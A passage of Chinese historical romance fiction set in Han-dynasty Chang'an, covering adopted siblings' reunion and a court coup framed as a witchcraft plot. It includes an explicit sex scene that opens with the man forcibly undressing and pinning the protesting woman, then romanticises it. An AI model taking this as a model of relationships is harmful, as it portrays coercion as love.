裴明绘一口气说了好多好多的话,体力便有些不支,她跪坐下来,大口大口地喘着气。 “我知道温珩不是好东西,但是我和他的联合却是杀死窦玉的保障,窦玉与温珩都是心思缜密狠毒之人,我若不嫁他,他便会以为我不站在他这边,不肯全力对付窦玉,为此,我觉得倒也不算是太亏的事。毕竟,害哥哥这件事上,窦玉是主谋,当年,害裴家族灭,窦玉也是主谋。当此危机之时,只有杀了主谋,你我才能徐徐清算剩下的人。只是,在杀死最后一人之时,哥哥与我不要再见面了,温珩心思诡谲,处处均有暗探,哥哥此来,已是危险,还望哥哥以大局为重,不要再以身犯险了。” “哥哥,今大仇将报。”裴明绘倒了两爵酒,走至裴瑛近前,“你我当好好敬上这一爵酒,好聚好散。” 裴瑛垂着头,倏然冷笑一声,冰冷的愠怒勃然而起,却又被他死死压制,可是这有如如何能够压制得住,天地之间,最是情爱之事,不等思量,不能冷静。 “裴子吟,你既如此为我着想,不如先告诉我,你是如何救的我?” 裴瑛的声音冷得吓人。 “哥哥大难不死,自是有老天庇护,我能再见哥哥,也自是老天怜悯,这一切的一切,只有老天才知道,我又……” 话未说完,裴明绘手中酒爵便被一掌拍飞,金黄的酒液飞洒在半空,醇香的酒香顿时弥散在冰冷的雨的潮气里。 裴明绘的下颌被无情地卡住,裴瑛一扫长案,便将满案玉盘扫落在地,裴明绘正欲挣扎,却又在起身之时被裴瑛压了回去,顺势第一重薄纱衣物也被极为粗暴地扯了下去,白皙的肩头便裸露出来。 “裴瑛,你起开!” 裴明绘这下是真的慌张了,她猛烈地拍打着裴瑛。 她是真的害怕功亏一篑,害怕再度失去一切,害怕裴瑛在被杀死,害怕自己到死也只是竹篮打水一场空。 “你怕什么,怕温珩吗?” 裴瑛冷笑一声,漆黑如深渊一般的瞳孔深处仿佛有什么在翻滚在燃烧,势必要将所有理智所有思考所有克制都烧成灰烬方才罢休。 “温珩此时正忙着呢,今夜风雨急,他过不来,而且,他也没命来。” “我告诉你,我既然回来了,你便不必再担惊受怕了。一个温珩,一个窦玉,我既然能自黄泉归来,便能将他们杀之而后快。你什么都不用想,你只需要待在我的身边,你什么都不用担心。我不会死,我也不会在离开你,子吟,别怕,我永远都不会在离开你了。” 裴瑛的语调像是沉沉坠着锁链,他毫不犹豫欺身而上,灼热的掌心利落撕破最后一层阻隔,贴上她冰凉的肌肤,激发阵阵酥骨的战栗,她她扭着腰想躲开,但是却又被掌心牢牢摁在身下。 “此事一毕,我便可名正言顺,去取他二人之性命。” 裴瑛的话调子沉沉地,压抑着愤怒的情|欲。 “以后,永远,永远的永远。” 裴瑛的声音不带丝毫的旖旎,可是行间却满是横冲直撞的强势。 “你都只属于我,至死不休。” “你……” 裴明绘被迫仰起了头,破碎的喘息自喉咙间溢出,而后下颌便又被他的一只手不容拒绝地拿住,重重地吻了下去。 待这一场几近窒息的吻如退潮一般渐次退去,裴明绘双唇潋滟,她不自禁地流着泪,扭头看着居高临下地裴瑛,猛地一抬脚便向他的胸膛踹去:“这是……这是我自己的事。” 可是这纤细的脚腕却被裴瑛猛地握住,然后往前一拉,更加深入地嵌入进去。 “你本就是我的,从一开始就是我的。” 裴瑛再度俯身,带动更加强烈的刺激,让她的泪水更加汹涌,她的吻落在她的唇上,面上,最后落在她的眼睛上,轻轻地,像是蝴蝶落在花上,不复以往的强势,温柔又慎重,像是在用唇齿呵护绝世的珍宝。 裴明绘却不愿,只拼命将身转过去,想要爬起来,腰肢却又被灼热的掌心锢住,动弹不得。 “过去,是我愚钝,是我痴傻,生时不知,死了也不能明白。可如今,我业已十分明白,所以,我断无可能放开你,你我,生同衾死同穴,永无分离之日。” 听闻此话,裴明绘顿时僵住,她的内心空了一空,脑海也一阵嗡鸣,过了好久,只道喉咙里不可抑制地发出喘息,脚趾蜷起,光洁的双腿绷直,眼前的白光如潮水般退去,她才回过神来,不敢相信地看着裴瑛,恍惚间,她竟然看见他的眼睛里竟有泪水。 这泪水,竟是为她而生的。 裴瑛往前一俯,铁一般手臂横在她的胸前,将她往后一拉,便重新将她锢在自己的怀里顿住了,他满布着汗珠的面上,那双眼睛已经浸润在赤裸裸的爱里而闪动着熠熠华光,可是眼角却不能自控地流淌下晶莹的泪水,这泪水顺着的脸庞落下,落在她的面上,然后又顺着她的脸颊落下,消失无踪。 “你不爱哥哥了吗?” 第73章 风暴前夕 爱, 怎么会不爱,她从未有一刻不爱他。 她深深地爱着他,而这份爱, 不知从何而来,而又不知从何时起, 她的爱已然成了无可救药的病。 她一次次想要寻求医治它的药,却又一次次愈陷愈深,以至于连维系最基本的表面的兄妹的和谐也不能。 亲情分崩离析,若非那阴差阳错的情毒,他们二人当此生不复相见。 此时此刻,他却问她。 她还爱他吗? 爱吗? 她永无可能不爱他。 可是, 感情终不是一个人的一厢情愿。 裴明绘望着裴瑛, 看着失而复得的哥哥,多少年的被积压被压迫着的情感在内心激荡徘徊着,猛烈地冲击着她的心房,击碎了她的维系平静的理智。 那他呢? 他爱她吗? 裴明绘哪里不知道, 她想要得到的答案是天下最大的奢望, 可是她还是如飞蛾扑火一般, 急迫地朝着真相前进,哪怕这一颗本就伤得支离破碎的心再次摔得粉碎。 裴明绘摁住裴瑛的肩膀,将身用力一转,转眼便将裴瑛压在身下, 她跨坐其上,居高临下地看着他。 裴明绘的手顺着他脖颈的优雅曲线往下走,柔软指腹分明如蜻蜓点水一般滑过, 可是又激起了他的猛烈地不能被压制的战栗,她的手一路往下走, 顺着他身体起伏的肌理沟壑一路往下走,力道逐渐加重,由轻触转为爱抚,抚过他终于,裴瑛的似乎没有办法再忍耐下去,他的喉结无声地滑动了一下,而后在忍耐中溢出破碎的喘息。 “哥哥允许妹妹这么做吗?” 她的语调天真而又无辜,每一个字,声音的每一次起伏都在挑战裴瑛紧绷的神经。 “自无不可。” 裴瑛的喉结滑动,语调忍耐而又压抑,看向裴明绘的眼眸没有一丝一毫的攻击性,过往的兄长的不可侵犯的威严在此刻荡然无存。 “随你享用。” 裴明绘的心尖像是过了电一般酥麻,她有些迫不及待地想要得到裴瑛的答案。 “那哥哥呢,哥哥爱我吗?” 裴瑛看着裴明绘,看着他潋滟着水光的唇张了张,却一个音节都没有吐出来。 裴明绘看着裴瑛,却仿佛被兜头泼了一盆的雪水。 她不甘心。 她不甘心! 她仿佛溺水的人,要抓住那漂浮在水面上的救命的浮木,裴明绘心跳得极快,她看着裴瑛: “那哥哥所做的一切,就算与妹妹行如此悖逆伦常的夫妻之事,难道只是为了留住我?” 裴瑛仰着看着裴明绘的面容,看着她因身体里翻涌的情|潮而如红霞一般的面容,看着她那因亲吻而潋滟的红唇,目光偏移,最终落在她粼粼波光似的眸子上。 这双眼睛,是他永远无法忘怀的存在。 看着它随着岁月一寸寸地长开,氤氲缭绕在她眼底的忧愁一寸寸散去,取而代之的是那烂漫动人宛若春日晴阳的笑意。 他就这么看着她的,目光一瞬不离。 可他的心底却是空荡荡的,像是一片寂静的荒原。 他终是不能再直视她的目光,偏过了头去。 裴明绘看着他逃离了自己的视线,心底那一簇因为他的爱的问询而死灰复燃的火焰陡然熄灭。 是啊,终究竹篮打水一场空,徒伤己心罢了。 裴明绘的身体僵在当场,身体也骤然冰冷起来。 她早就知道,早就知道的,他的答案,从头到尾不都是清晰明确的吗? 是谁在自作多情?是谁在苦苦逼迫? 裴明绘垂下头,轻笑一声。 她知道,他本不爱她,他清风朗月,又怎么会爱上自己的妹妹,哪怕她与他并没有血脉上的牵绊。 他对她的是责任,是歉疚,是关爱。 自己对他的是贪婪,是觊觎,是任性。 自己到底是任性,叫他为难。 让他违背自己的感情,被迫与自己的妹妹苟且。 自己怎么还是不长记性,明明已经因为自己的任性让兄妹决裂了,自己怎么还会犯下如此的错误。 难道你就不怕悲剧重演吗? 难道你就真的愿意真的看着他违背自己的本性去与你苟合吗? 这叫爱吗? 裴明绘的瞳孔晃动着,内心痛苦的波澜一直传达到眼底。 结束罢,就这样。 裴明绘俯下身去,不带一丝旖旎的吻轻轻落在他的眼睫之上。 “哥哥,我知道,就算你我情到浓时,却也不可能突然生出情来。”裴明绘笑了笑,笑容看似轻柔得好似春风,可若细细去听,便能听到那极致的苦涩悲伤,“我爱你,我深深地爱着你,以前,是我不懂事,可是现在,妹妹已经长大了,妹妹已经不再是那个不懂事的小孩子了。以后,哥哥依旧是妹妹的哥哥,妹妹依旧是妹妹的妹妹,过去的那些事,哥哥都忘了罢。余下的事,妹妹只是希望哥哥好好活着,哥哥连这个也不能答应我吗?” 裴瑛的喉结上下移动,话卡在喉咙里,他慢慢地转过头来,迎面便撞见一双流着泪的眼睛。 爱吗? 什么是爱? 裴瑛只知道,自己的心是放在她身上的,自己的所有情感都为她所牵动着。 她的笑,她的泪,她的一颦一蹙,他都牢牢地记在心里,像是毒药一般,无法忘怀,无法忘记。 自己这么多年来,全部情感,除了恨,余下的便全是她。 这是爱吗? “我……” 裴瑛的心一下接着一下重重地跳着,多年来因为亲情遮掩的那一丝隐秘情感勃然生发,与那绕过亲情的短暂感情瞬间碰撞,心底的情感汹涌勃发,以不可遏制之势如春草蔓生缠绕住了他所有的思考。 爱吗? 世间一点一点流逝,他拼命地反复问自己。 爱吗? 爱她吗? 初见之时,大雪飘飞,她就缩在墙角,孤苦伶仃,他本以理智,以大局压制怜悯之心而旁观,可是内心的情感却一次接着一次冲破理智的束缚。 他怎么会不在意她? 可这份在意是什么? 是舍不下,是分不开。 就算二人背着兄妹行了夫妻之实,他也不能忍下心将她逐出裴家,反而在最终落笔之时划去了自己的名字。 内心压制的痛苦,压抑与极尽疯狂却无处宣泄的癫狂在落笔的那一刻瞬间烟消云散,裴瑛如释重负。 裴瑛啊裴瑛,你自问,你与她欢好之时,心底里的情感真的只是歉疚自己侵犯了自己的妹妹,而没有为此产生的情动吗? 此时此刻,你与她在长案之上行夫妻之实。 这合乎兄妹之情吗? 你有千种万种将她掠走,让她远离长安争斗的方法,可是你为什么选择如此极端的方法? 你是真的想要用自己的身体来留住她吗? 你一向自诩光风霁月,对她只有兄妹之情,所有偏爱也只是兄长的妹妹的关爱。 可是真的只是这些吗? 记忆里长安城的风雪再度大盛,他仿佛又看见那辚辚驶离的车马。 远嫁匈奴去,自此不归来。 他决不能失去她。 心底的恐惧如潮水奔涌,裴瑛拼命往前跑,过往的风度仪态都随着飘摇着的风雪散去了。 裴瑛一把掀开车帷,一把抓住了她的手,将她抱进自己的怀里。 裴明绘将欲抽身离去,可就在此时,手腕却又被一只宽大有力的手紧紧握住:“别走。” 然后,裴明绘整个人便跌进了他的怀抱。 他紧紧抱着她。 或许,这一刻,他才真正明白了。 自己的心被谁所缚。 他早就不得自由了。 裴瑛紧紧将裴明绘禁锢在怀中,顺应自己的欲望,自己的情感,说出了自己最隐秘的所想。 “子吟……” 他的嗓音微微沙哑,长长的睫羽垂了下来,在眼底投下阴影,遮住里面涌动着即将喷薄而出的情感。 “我爱你,过去的是,现在是,未来也是。” 心脏因此停跳一瞬,裴明绘瞬间僵在原处。 “你说什么……” 她不可置信地看着裴瑛,眼睛睁得大大的。 裴瑛将身坐了起来,轻轻捧住她的脸颊,轻轻地亲吻着,耳鬓厮磨着,宣泄着自己那铺天盖地,几乎淹没了自己所有理智与思考的情感。 “我爱你,子吟。” “你是不是在骗我?” 裴明绘的声音颤抖着。 “不是的。” “你是不是在哄我?” 裴瑛吻上她濡湿潋滟的唇,一场漫长缠绵的深吻过后,裴瑛才稍稍离开她的唇,两人脸颊挨着脸颊,温存而又亲昵,他的眼睫先是往下垂着,过了些许时候,方才又抬了起来,漆黑的优雅的闪烁着潋滟的光,他的嗓音不复清润,而是沙哑。 “我绝无欺你哄你之意,我深爱着你,我爱你,裴子吟。” 裴瑛修长的五指寻到裴明绘的手,紧紧交握。 “我爱你,如有欺骗,天地不容,当下黄泉地狱,永世不得解脱。” 他爱她…… 他真的爱她…… 所有痛苦纠结的情绪哄然而散,裴明绘看着裴瑛,看着男子秀色绝伦却清寒峻冷的面容在此时此刻染上情感的温度。 裴明绘喜极而泣,可是转瞬又转为惊慌,急忙捂住裴瑛的嘴:“哥哥这是什么话,就算是假的,哥哥哪有又可以说这样的话……” 裴瑛轻笑着拿开裴明绘的手,拉着她的手放在自己的赤裸的胸膛之上。 裴明绘静静地感受到那火热的肌肤之后那颗跳动的心脏。 裴瑛看着她,眸光分外认真:“这算什么,只要我爱你,老天自不会取我性命。上天下地,碧落黄泉,你我生死与共。” 上天下地,碧落黄泉,你我生死与共。 裴明绘看着他含笑的清雅容颜,她再也忍不住,她一直哭,哭到哽咽,哭到喘不上起来。 他怜惜地擦去裴明绘面上的泪:“傻姑娘,哭什么,以后,我不会再让你一个人。” 裴明绘倾身抱住裴瑛。 这一刻,她真的等得太久了。 在她人生大部分时间里,她都以为她永无可能和他在一刻。 可是此时此刻,她却能够以爱人的身份紧紧拥抱着裴瑛。 她的爱人。 此生此世,永不分离。 漫长的拥抱,二人的心跳声隔着彼此的肌肤,激烈地同频跳动起来。 又过了好久,裴明绘这才直起身来,所有悲伤痛苦,生死别离后重逢的大惊大喜,所有将有再次分别的不安尽数如潮水消退可是这般时候,她才惊觉自己仍跨坐在裴瑛的身上,而且两人的衣裳都除了大半,只剩下一些不能蔽体的衣物聊胜于无地挂在身上。 登时,像是一把火猛然烧起来一样,裴明绘的脸一下就红透了,像是夕阳的红光映上白玉,潋滟迷离,黑漆漆的水晶似的眼睛泛着粼粼湖光,一下子就夺走了裴瑛的全部目光。 裴明绘正在犹豫要不要抽身起来,一回头却又对上裴瑛正在挑眉的狡黠神情。 失去了所有悲伤愤懑情绪的加持,裴明绘又成了那个会在哥哥面前脸红的妹妹,她登时心生退意,在此时此刻,她觉得自己简直是被架在火上烤,可是方才起身想要抽身离去,腰上又按住了一双修长有力的手,让她又重新坐了回去。 裴明绘忍不住发出一声喘息,然后偏过头去:“哥哥这是做什么?如今风雨欲来,哥哥怎能沉溺此事?” “风雨欲来,天下生乱,乱中自有生机,此时此刻,我只想与你在一起。” 裴瑛轻轻一笑,拉着她的胳膊绕到自己腰后,顺势将她往身前一拉,她便又跌在了他的怀里,裴明绘仰头一看,就正好望见他含笑的眉眼,这双美丽的眉眼浮漾着笑意,涌动着脉脉情愫,一瞬间,迷醉了她的心神。 苦尽甘来,终抱得佳人归来。 想到过去的种种,裴明绘鼻头一酸,仰头便吻了上去,裴瑛则顺遂地低下头,然后顺服地被裴明绘压倒在长案之上。 暴雨渐渐止歇,长安城再度陷入了诡异的寂静,到处都是雨后的潮气,雨雾丝丝弥漫,马蹄踏碎青石砖上的水洼,一匹接着一匹雄骏的战马奔驰在尚冠坊的主干道上,很快便将窦府包围了个水泄不通。 裴瑛说得不错,温珩很忙,忙着收拾窦玉,然后取而代之。 窦玉的年纪很大了,多年来顺风顺水的安逸与自以为掌控一切的错觉让他逐渐了放松了对潜在危险的警觉。 在官场上,这一点很要命。 毕竟想要爬的人的很多,但好的位置只有一个。 一队接着一队披甲带剑的金吾卫大踏步包围了还在沉睡中的裴府,红衣金冠的御史大夫温珩从容勒马,看了看东方的天色,一丝势在必得的笑意转瞬即逝。温珩翻身下马,大步流星地领一堆侍御史直往窦府,穿堂过廊,裴府里安睡的公子小姐们瞬间惊慌失措起来,他们像是惊弓之鸟一样到处乱窜,然后又在金吾卫的刀锋之下被吓破了胆,昏的昏叫的叫,整个窦府都乱成了一锅粥。 “你这是干什么!” 窦玉颤巍巍地走了出来,他一走出来便看见温珩威风凛凛地领着专司官员纠察与弹劾的侍御史和拿人的金吾卫站在面前,登时气血上涌,一句话说完便猛烈地咳嗽起来。 “丞相大人先别着急,来人,先去为丞相拿上一盏茶来。” 温珩不紧不慢地说道。 “温珩,你到底要做什么!你如此大胆,是要造反吗!” 窦玉毕竟是久经大风大浪之人,区区一个温珩,还不能叫他吓破了胆。 “造反?” 温珩装出一副大为吃惊的模样。 “事到如今,丞相怎么还能如此没事人一样呢?” 温珩骤然冷笑一声,浸润在细腻雨雾中的面容变得更加艳丽诡谲,他拍了拍手,身后列队等待的侍御史大步而来,利落地将窦玉拿下。 “奉大汉皇帝陛下令,丞相窦玉合同太子行巫蛊,意图谋反,即刻关押国狱!” “什么!” 年老的窦玉不可置信地看着温珩,他不敢相信自己听到了什么,他铁青着脸,猛然一挥衣袖,想要甩开擒着自己的侍御史,可是年老体衰,终究不能:“温珩,你到底意欲何为?老夫何曾行过巫蛊,又何时与太子合谋谋反?你信口雌黄,你意图不轨,老夫要即刻面见陛下,问你这乱臣贼子的罪!” 温珩笑了笑,缓步上前,从怀中掏出一份牛皮纸卷成的信,将它在窦玉面前晃了晃。 窦玉的脸色一瞬间白了下来:“你……你!” “君失其密,则亡其国。臣失其密,则亡其身。” 温珩俯身,凑在窦玉耳旁悠悠然道:“没错,我是在大人府上插了不少忠实眼线,他们散布在大人府中的各处,大人如有任何异常的动静,他们都会忠诚地禀报于我,这些人,在大人府中劳作多年,个个都是谨慎周密之人,这么多年来,从未出过一丝纰漏,而大人也没有一丝的发觉。” “但是大人知道吗?” 温珩的笑声更浓,优雅的长眉上挑起挑衅的弧度。 “我最大的暗线,是大人打算用作暗线来对付我的裴小姐。” 一言毕,窦玉再也站不住了,他猛然向下跌去,但又因为两侧侍御史的压制而不能动弹,他像是看向恶鬼一样看向温珩,嘴唇发白,不住地颤抖着:“你……你这个乱臣贼子,你你你!老夫不曾一次救你于水火之中,太子又何曾与你有过过节,你……你这乱臣贼子是让大汉亡国啊!” 他面上装出对裴小姐一番用情至深的模样,然后明知故犯地踏进自己与裴小姐准备好的陷阱。 原来,原来,裴小姐竟是温珩这边的人! 窦玉后知后觉,身体的血瞬间都凉透了。 “近来陛下愈发倚重我,大人不免心焦,担忧自己迟早得被告老还乡,可心里却有一番雄心壮志,就有了与太子谋反之心。” 温珩的话十分温柔,却让窦玉肝胆生寒,他不可置信地看着眼前这个如恶鬼一般狠毒美艳的男子,窦玉第一次知道了恐惧。 “证据确凿,,丞相与太子合谋,闭塞天听,意欲定今日卯时一刻行将起兵作乱围困章台。皇皇罪证,不容丞相抵赖。” 窦玉真的害怕了,从生至此,他从未如此后悔过,他为了自己窦氏一门的辉煌,亲手扶植了这么一个祸国殃民的恶鬼啊! 他看着眼前的温珩,是一个极为善于隐匿的恶鬼,他简直不顾念一丝一毫的自己对他的提拔相互知遇之恩,不念皇帝陛下对她的恩德,不顾大汉的威严,势必要将天下拖入万劫不复的地狱啊! 自己看似居于上位,在长安这个巨大的棋盘上操纵着他们,他们看似被蒙在鼓里,实际上却是步步为营,暗中联合起来对付自己。 不只是对付自己,他们是要天下易主啊! 思及此,不啻于一道惊雷炸在窦玉的脑海。 后知后觉,再此明白过来,自己已然深陷其中,不得解脱! “这还得多谢丞相,若非丞相暗中除去谢无疾,我又怎么可能如此顺利行事呢?” 温珩温和地笑着,对窦玉说了自己真诚的感谢。 杀人当诛心,窦玉想要挣脱束缚于温珩拼命:“太子当国,天下泰平,你这乱臣贼子,老夫三番四次救你,你却要陷老夫于不仁不义不忠之地。” “仁义忠?” 温珩笑了笑,笑容间可见大为疑惑。 “这三个字,丞相占了哪一样,仁,为了一座金矿,东海兰陵百姓多少人的性命死在你的手里,义,当初裴显礼为国征战,你却为了自己的利益,讨好朝廷投降派,与匈奴通风报信,又多次插手对匈奴战事,以至贻误战机,十万将士骨枯黄土,忠,你对皇帝对太子忠心吗?你所为的不过你的窦氏家族能过连绵百世世代簪缨,你哪里担得起仁义忠三个字,不过为了自己家族的利益,却冠冕堂皇将仁义忠三个字挂在自己头上,窦玉,你恶不恶心?你是不是还想以后史书尽书你窦玉是个大忠臣,是个力挽狂澜的救国能臣。我告诉你窦玉,我却不是个好人,但以后我立国定鼎,再修前朝史书,你窦玉将遗臭万古。” 话毕,窦玉冷汗如雨牙关紧咬,猛地喷出一口血来,软软地倒了地上。 温珩居高临下地看着窦玉,冷笑浮于面上,冷风吹拂细雨,很快就吹散了他面上的这丝冷笑,他高声宣告:“陛下洞察烛照,察丞相与太子谋反事于未然,挽救大汉于倾塌之时,陛下英明神武,今太子当国,不思社稷,反与丞相行巫蛊诅咒陛下,陛下今在章台,我们当肃清国贼!” 天渐渐亮了,可长安的天却要变了。 【END】 第74章 决战,大婚 暴雨过后, 太阳升起来了,雄阔的长安城北雨后的阳光蒸腾起迷蒙的水汽来,不久, 踏踏的脚步声踏过水洼,漂浮在空中的水汽里踏出一队武装精良的金吾卫来, 他们持戟负戈,迅速包围从雾气里踏出,然后快速准确地包围众多机要大臣的府邸。 太阳缓慢地攀着长安城楼上走,水汽凝结,化作天地的露水,最后折射出一抹光辉来, 然后一齐消失不见。 椒房殿。 谢后忧心忡忡地倚在玉案之后, 她没有办法安心,隐隐约约地,她已嗅到了弥漫在空气了那天天大的灾难即将到来的气息。 谢太子看着母亲忧愁的神色,体贴地拉住母亲的手, 温声道:“母后不必太过担忧, 今儿臣监国, 父皇身体康健,匈奴不敢犯边,诸侯不敢作乱,长安东有崤函黄河之固, 长安又怎么会生出乱子来呢?” 谢后看着儿子尚未脱出青涩但已然露出锋芒的眉眼,苦笑一声:“你如今是太子了,难道不知国亡于内乱的道理吗?” “内乱?”谢太子挑了挑眉, 显然没有将谢后的话放在心上,“今父皇尚在, 又有谁敢作乱?” 谢后轻轻叹了口气,她环顾左右,方才对着谢太子轻声说道:“前些时日巫蛊之害,你父皇连丹阳长公主的亲生子都处死了。” “此时确与姑母之子有关,父皇……” 谢太子看着谢后面容之上那飘散不去的忧愁的痛苦,他猛然明白了,父皇却不是以前的父皇了,他变得偏执而又狭隘,再也听不得臣子的忠言了,他宠幸偏爱那位容色倾城的赵夫人,自此父皇连后宫也不再踏足。 父皇为那位娇艳的美人重新整饬了章台宫,为她广征天下宝物,只为讨得美人一笑。 而陪伴着他走过大半生飘摇风雨的母后,也被彻底地冷落在偌大的椒房殿里。 谢太子借着殿中烛火看向谢后,过往名花倾国的谢皇后已然老了,两鬓也斑白了,容颜在枯萎了,谢太子的心无比酸涩,可是,他又能说什么呢,父皇是皇帝,他是太子,可他也只是太子。 太子是不能管皇帝的。 他所能做的,就是处置好国事,让父皇,让母后,让朝臣,让天下人宽心。 “母后莫要难过,如今父皇将监国重任交予儿臣,便是对儿臣的信任,对母后的信任,巫蛊之事,却是姑母之子的过错,这如何也不能推脱到父皇身上。” 谢后闻言,先是愣了愣,然后轻轻地摇了摇头:“母后如何不知这个道理,可母后屡屡想起当时为搜查后宫查人偶之事,总是心悸,总是不安。” 谢太子紧紧握住了谢后的手,郑重道:“母后宽心,儿臣向母后保证,以后这样的事,再也不会发生了。” 谢后看着眼前的谢太子,心里泛起酸涩来,心里说这哪里是你个孩子能够左右的,可她看着谢太子盈盈的目光,终究将所有苦涩都咽了下来:她笑了起来,另一只手覆在谢太子的手上:“好,母后相信你。” 可是就在太子方才回到东宫之时,他立即就察觉到暗处有谁在注视着自己:“是谁!” 两厢人马顿时闯进东宫,雨后的阳光猛烈刺目,照得锋利的宝剑与坚实的金光寒光闪闪,这么冷冽的光芒直刺进了谢太子的眼中。 东宫的戍卫力量迅速出动,形成环形将谢太子拱卫在内,唰唰如落雨之声,长剑直指来犯之敌。 “你们要做什么!这是谁的命令!” 谢太子一甩衣袖,猛然上前一步,怒目而视,凛凛而立。 “你们是要造反吗!” 为首带队的侍御史走了出来,向着太子一拱手一躬身,而后徐徐抬起眼皮来,笑着看着谢太子:“回太子殿下,下官奉御史大夫之陵,搜查巫蛊,冒犯之处,还请太子殿下见谅。” “巫蛊?” 谢太子紧紧皱起眉毛。 “哪里又来的巫蛊,御史大夫?无父皇之令,御史大夫何敢搜查东宫!” 两方陷入对峙,日影一寸寸偏移,气氛渐渐焦灼起来。 踏踏的走马声传来,外侧包围的金吾卫哗的一声整肃让出一条道来,谢太子眯起眼来,看着自那甬道之中一匹白马徐徐而来,而从容坐于其上的,正是御史大夫温珩。 “御史大夫,你这是何意?” 温珩利落翻身下马,文质彬彬地向谢太子行礼,举手投足间毫无逾矩失礼之处,他的眉眼满是恭顺,俨然是一个忠得过了头的臣子的模样。 “回太子,臣奉陛下令,搜查巫蛊,不意惊动太子,还请太子恕罪。” “不意惊动?这难道是不意惊动,我看御史大夫是有意缉拿本宫,何必整这些冠冕堂皇的虚词!” 谢太子言辞间争锋相对,虽然眼前这个御史大夫温珩不论人前人后都对他很是尊敬,但是谢太子还是很不喜欢他,但到底温珩是皇帝面前的当红人物,他也不好与他彻底撕破脸面。 温珩惊讶地张了张嘴,似乎颇有些为难:“此却是陛下旨意。” “父皇手书呢?” “在这。” 温珩一侧的官员捧着旨意过去,停在了东宫戍卫力量的刀剑外围。 谢太子挥了挥手,便有一人接过旨意奉到谢太子手上,谢太子仔细打开旨意,顿时心惊。 “殿下可看完了?” 温珩温声询问道。 “此乃陛下之命,否则臣也不敢搜查东宫,惊扰太子。” “……” 谢太子紧紧攥着旨意,秀丽的长眉紧紧蹙了起来。 “父皇为何会突兀下旨搜查东宫,难道怀疑本宫会行巫蛊诅咒父皇吗!” 温珩听出谢太子话里的责备之意,他愈发恭顺谦谨:“此乃陛下之意,就算是臣,也不得妄自揣测。” “你查罢。” 谢太子自认光明磊落。 “诺,太子稍安勿躁,臣查清之后自会亲自向陛下禀报,以还太子清白。” 温珩愈发恭顺。 一队接着一队的人马如同流水一般蔓延到东宫各处,他们翻遍所有的巷箱子柜子,连榻上的被褥都掀开了,地上的花盆也被刨了个干净,后来,他们甚至开始扒开东宫的地砖。 原本庄严肃穆的东宫一下子乱了起了,谢太子看着,听着,袖中的手攥得愈发紧了。 堂堂一朝太子,却得忍受如此羞辱。 谢太子的锐利的目光紧紧锁定着恭顺谦谨的温珩,心中暗道,父皇绝不会无缘无故便搜查东宫,定是这厮在暗中捣鬼,此事过后,他定要亲自面见父皇去取了这厮性命。 可是就在此时,后花园来疾步出来一人。 众人的目光齐刷刷地一下锁定了他手中所持之物。 是人偶! 谢太子的目光一下惊慌失措起来,他立马就意识到了,有人要陷害他! 是谁,是谁,是谁要陷害当朝太子,是谁敢陷害当朝太子! 谢太子的目光一下子就锁定到了温珩身上,他立马拔剑直指温珩:“温珩,是你陷害本宫!” 温珩一副茫然之色,面对太子的指责,他却并不恼怒:“太子的意思,臣不明白,只是如今物证在,臣为天子臣,故太子为太子,臣也不敢徇私枉法。” 谢太子身边的臣子一瞬暴怒了,他疾言厉色将矛头直指温珩:“狗贼,你先拿下丞相,今又陷害太子,我看是你这个狗贼想要造反,来人,给我将这狗贼拿下,枭首示众。” 谢太子虽然怒极,可是毕竟今温珩有皇帝旨意,而且又在东宫后花园挖出了诅咒皇帝的人。 皇皇铁证,怎容辩驳。 可谢太子却绝非束手以待之人,他自是清白,但他绝不会叫主动权交给狼子野心的温珩! 他正要拦下东宫戍卫的进宫,可是就在他要抬起手的时候,东宫的戍卫力量却猛然向着对面的金吾卫攻了过去。 谢太子顿时失色:“都住手!” 可是在茫茫的喊杀声中他的话被淹没得没了踪迹。 一片腥风血雨里,局势彻底失去了掌控。 谢太子茫然一顾,自刀光剑影里瞥见了温珩,他看见了他唇畔那一抹冷冷的微笑,一瞬间,冰冷的寒意,顺着谢太子的脊骨直直冲向他的脑海。 是他! 意图颠覆的汉朝的乱臣贼子终于脱下他温顺谦谨的皮囊,露出他沾染着他人献血的獠牙! 所有金吾卫都被东宫的戍卫斩杀,但最重要的温珩却逃走了。 谢太子看着满目的狼藉,此时此刻,他还对有着去章台宫面见陛下严惩叛乱恶贼的心思,可是隐隐约约的,他的心似乎也凉了。 似乎一切,开始进入不可转圜之地。 死局,在此刻已经形成了。 椒房殿。 当谢后听到叛乱的消息时,整个人都站了起来,她疾步往外走,正好撞进一身血衣匆匆而来的谢太子。 “母后……” “皇儿……” 当谢后明白前因后果之后,她隐隐嗅到了这背后滔天的阴谋与诡计的味道,谢后一生经历了太多的腥风血雨,从最初的废后行巫蛊到丞相之位屡次易位的风波,她明白,就算自己贵为皇后,为天下之母,有朝一日,终究不免陷入政治阴谋的漩涡里。 她不由想起了皇帝,这个让她从丹阳公主府一跃而上成为皇后的男人,过去的点点甜蜜浮现在她的心头,他在她屡次为难的时候相助于她,他让她摆脱了歌女的命运,在废后多次的针锋相对中,他也总是挡在她的身前,他简直就是一株苍天大树,替她遮蔽了冷酷的风雨。 谢后多么希望这个男人还能在这个危急的时刻站在她和孩子们面前,可是不能了,再也不能了。 她的容颜枯萎了,多年情爱也就消散了。 谢后流下泪来。 政治斗争,你死我活,父子,夫妻之情,在皇家的威严与权力面前,根本不值一提。 不进则退,退则死无葬身之地。 她毫不犹豫地擦去痛苦的悲伤的眼泪,凛然正色,将跪地的谢太子搀扶起来,擦去他的眼泪:“太子,今已到了决一死战的时候了,不可以再流泪了。” “儿臣立马去章台宫面见……” “不。”谢后的眉目一瞬刚毅,颇肖其弟之风,“你需要发兵,除奸灭贼,你持皇后令,迅速控制全城,开武库,起长安城防军,杀尽全城叛贼!” 谢太子猛然抬起头来,看着过往柔顺温和的母亲一下刚毅起来,她像是一把方才出鞘的利刃,凛凛地展示着她的威严。 “可……” 谢太子的声音颤抖了。 “太子,你是大汉的太子,你的母亲是皇后,你的父亲是当今的皇帝,你的舅舅是大将军,而你,你是太子,是未来的皇帝,没有谁比你更加名正言顺。太子当以大局为重,大义为要,而私情退缩之心为后,你今万万不可首鼠两端观望事态。” “还请母后指点。” 谢太子的心激荡起来了。 “你当立即发布檄文,通告群臣百官长安百姓,今陛下重病,为奸人所蒙蔽,当此之时,唯有起兵,方可挽救大汉基业!” 谢太子猛然跪下,向谢后叩首。 “儿臣明白!” “成王败寇,自古之理,你为太子,亦不免之!” 谢后紧紧握着谢太子的手,眼中泪光闪动,却不落下。 “莫怕失败,母后永远站在你的身后。” —— 